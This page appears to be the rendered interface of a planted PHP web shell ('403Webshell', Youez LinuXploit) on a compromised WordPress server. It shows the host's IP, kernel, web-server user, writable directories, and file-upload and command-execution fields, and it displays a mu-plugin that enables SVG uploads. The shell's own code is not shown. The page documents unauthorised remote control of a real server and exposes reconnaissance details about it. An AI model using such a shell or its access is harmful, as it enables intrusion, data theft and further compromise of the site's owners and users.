403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.216.246
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/mu-plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/mu-plugins/allow-svg.php
<?php
// mu-plugin: разрешает загрузку SVG в WP media library
// Безопасно для closed-circle admin-only сайта

add_filter('upload_mimes', function($mimes) {
    $mimes['svg'] = 'image/svg+xml';
    $mimes['svgz'] = 'image/svg+xml';
    return $mimes;
});

add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime = null) {
    if (!empty($data['type'])) return $data;
    $wp_file_type = wp_check_filetype($filename, $mimes);
    if ($wp_file_type['ext'] === 'svg') {
        return [
            'ext' => 'svg',
            'type' => 'image/svg+xml',
            'proper_filename' => $filename,
        ];
    }
    return $data;
}, 100, 5);

// Превью SVG в Media Library
add_filter('wp_prepare_attachment_for_js', function($response, $attachment) {
    if ($response['mime'] === 'image/svg+xml') {
        $response['sizes'] = array_merge(['thumbnail' => ['url' => $response['url']]], $response['sizes'] ?? []);
        $response['image'] = ['src' => $response['url']];
    }
    return $response;
}, 10, 2);

Youez - 2016 - github.com/yon3zu
LinuXploit